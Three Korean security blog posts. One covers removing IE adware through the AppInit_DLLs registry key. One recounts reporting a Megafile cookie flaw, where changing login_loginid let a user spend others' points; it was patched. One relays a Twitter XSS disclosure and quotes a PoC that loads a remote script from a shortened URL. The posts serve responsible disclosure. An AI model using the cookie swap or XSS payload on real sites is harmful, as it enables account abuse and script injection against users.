about:blank 가 다른 페이지로 표시될 때

IT/Security/Web 2014. 7. 10. 15:09

얼마 전 IE 에서 about:blank 페이지가 다른 페이지로 표시되는 것을 보았다. about:tabs 페이지랑 꽤 유사해서 맨 처음에는 about:tabs 가 열린 줄 알고 인터넷 옵션에서 새 탭 페이지 옵션을 보았으나 빈 페이지(about:blank) 로 세팅되어있는 것을 보고, about:blank 페이지가 애드웨어에 의해 하이제킹되어 표시되는 것으로 판단했다.

 

이 현상을 해결하기 위해서는 아래의 레지스트리 경로로 들어가 AppInit_DLLs 를 확인해보면 된다.

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

 

 

해당 항목에 적혀있는 Value 의 경로에 찾아가 파일들을 지우면 된다.

 

나의 경우에는 SupTab 이라는 프로그램이 깔려있었다.해당 경로의 폴더에 찾아가 파일들을 지우고 나니 문제가 말끔하게 해결되었다.

 

'IT/Security > Web' 카테고리의 다른 글

메가파일 쿠키 스푸핑 취약점  (13) 2010.07.09
Twitter.com XSS 취약점 공개  (0) 2010.06.25

설정

트랙백

댓글

메가파일 쿠키 스푸핑 취약점

IT/Security/Web 2010. 7. 9. 15:53

이틀 전 메가파일이 쿠키 스푸핑에 취약하다는 사실을 듣고 가입을 해보았습니다.
그리고 Cooxie 의 Cookie Edit 창을 열었는데, -_-;;

참 간만에 보는 문서에나 나올 법한 쿠키시스템. 한 눈으로도 취약한 상태라는 것을 직감할 수 있었습니다.

쿠키 설정은 아래와 같았습니다.

_dwiN=d-Nkr
_dwiF=d-Nkr|d|-|-|-|-|-|-|-|-|-|-|
_dwiV=d-Nkr14|1278630403|2|1|
_dwiC=d-Nkr14|102584a2|1278630401|1278630401|1278630401|1|
check_adultk=0 // 성인인증 체크루틴으로 보이나 별 역할은 없음
check_comic=general%7C0%7CAnow%7CAnow
check_level=general
login_level=3
login_name=Anow
login_check=d358f5400d1cad644accb535423ae193

login_loginid=Anow // 유저 ID. 이 곳에서 취약점이 발생한다.
login_id=2973222 // 유저 unique id
login_session=0804_c385000d9177111299207773d7295035 // 유저 세션값
login_email= // 유저 이메일
login_mn= // 주민등록번호
login_name2= // 유저 이름의 URL Encoding
national=1
login_agent=0



이렇게 구성되어 있습니다.

 login_loginid 파라미터가 취약합니다.
저 login_loginid 를 다른 유저 아이디로 교체해버리면 id 일부 권한을 획득할 수 있습니다.
완전히 획득하는 것은 아니고, 교체한 id의 포인트를 마음껏 쓸 수 있었습니다.

한 마디로 다른 사람 id가 보이는 대로 바꿔치기 해가면서 포인트를 마구 쓸 수 있다는 소리입니다.
더구나 판매자 아이디가 완전히 공개되어 있어 다른 사람 id를 알기는 완전 쉬웠습니다. -_-;

취약점을 알았으니 제보를 해야겠지요.
그런데 고객센터를 들러도 마땅히 제보할 메뉴가 없었습니다.
그래서 사이트 하단에 있는 admin [at] megafile.co.kr 에 해당 쿠키 취약성과 방안, 조언을 담아 메일을 보냈습니다.
그리고 웬지 확인을 안하거나 메일이 전달되지 않는 경우를 생각해서(실제로 hotmail이 잘 전달이 안되는 경우가 있더라고요.)
고객센터에 위의 주소로 메일 보냈다고 따로 적어놨습니다.

20분만에 이런 메일을 받을 수 있었습니다.

<그림 2> 메가파일 운영진의 답장 메일

헐.. -_-;; 기분이 굉장히 좋기도 하면서 놀랐습니다. 여태까지 제보한 곳들 중에서 가장 메일 확인도 빨랐고,
거기다가 보상까지 받은 적은 처음이네요. 그 보상이 과연 무엇인지 잠시 생각해보았는데,
아마도 메가파일 내에서의 item 정도라고 생각이 되어 로그인을 해보았습니다.


<그림 3> 운영진으로부터 받은 보상


캐시 3만원이었습니다. 보니깐 반드시 돈을 질러야 충전이 가능한 item 이던데,
평소에 P2P를 구글에서 자료찾다가 rapidshare를 쓰는 경우 이외에는 토렌트도 쓰질 않아서 저에게는 전혀 쓸모가 없는(-_-;)
보상이긴했으나, 운영진의 빠른 응답과 마음 씀씀이가 정말 고마웠습니다. 그랬기에 더욱 뿌듯했었네요.

더욱 기분이 좋았던 것은, 관련 취약점이 그 즉시 모두 패치되었다는 사실이었습니다.

사실 이런 분류의 취약점은 매우 파악하기가 쉽기 때문에, 해킹에 대해서 거의 문외한인 script-kid 이더라도
쉽게 악용이 가능해서, 많은 피해사례가 지속되어왔을 것 같은데,
(메가파일 이라는 웹하드를 예전부터 가끔씩 들어온 것을 생각 해보면 꽤 많은 시간동안 취약했었네요.)
아무튼 이렇게 바로 패치되어 정말 기쁘네요.

캐시 3만원은 나중에 정말 급한 일이 생길 때 아니면 기념품(?) 으로 고이 모셔놔야겠네요.
아무튼 난생 처음으로 보상받은.. -_-; 좋은 경험이었습니다.


'IT/Security > Web' 카테고리의 다른 글

about:blank 가 다른 페이지로 표시될 때  (1) 2014.07.10
Twitter.com XSS 취약점 공개  (0) 2010.06.25

설정

트랙백

댓글

Twitter.com XSS 취약점 공개

IT/Security/Web 2010. 6. 25. 15:59

TwitterXSS 취약점이 인도네시아 해커 H4x0r-x0x 에 의해 발견되었습니다.
해당 취약점은 예전에 생각해보았던 취약점이었는데, 테스트 해보지 않았던게 아쉽네요. :(
어찌되었던 그동안 XSS와 CSRF 취약점에 한참 시달려오던 Twitter 은 이번에도 예외없이 보안문제로 질타를 받게될 것 같습니다.

문제는 이렇습니다.

<그림 1> Script 가 실행 가능한 구역인 Application Name 필드


바로 저 곳에서 XSS 취약점이 발생한다는 것인데, web에서 작성한 트윗이니 web으로 찍히겠지요. 저기에 직접 스크립트를 삽입하기 위해서는 Application 등록을 해야하는데, 트위터의 개발자 센터의 새 어플리케이션 등록 [ http://dev.twitter.com/apps/new ] 에서 Application Name 을 기입할 때 XSS 코드의 Injection 이 가능합니다.


<그림 2> 어플리케이션 등록 화면. Application Name 에서 Code Injection 이 가능하다.


취약점을 발표한 H4x0r 은 다음과 같은 PoC를 공개했습니다.
<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­­&shy;erTw­i­&shy;tter<span
style="visibility: hidden"&gt; <script src='http://is.gd/cWO66' type='text/javascript'&gt;</script&gt;</a>
</span>

 
스크립트 삽입이 가능해지면서 공격자의 Party 는 열리게 됩니다. :)

결론적으로, 이번 XSS 취약점은 대부분의 경우가 그렇지만,
"사용자 입력 검증 루틴이 부실했기 때문이다" 라고 이야기할 수 있겠습니다.


보다 자세한 정보는 아래의 링크를 참고해주세요.
[
http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/ ]

'IT/Security > Web' 카테고리의 다른 글

about:blank 가 다른 페이지로 표시될 때  (1) 2014.07.10
메가파일 쿠키 스푸핑 취약점  (13) 2010.07.09

설정

트랙백

댓글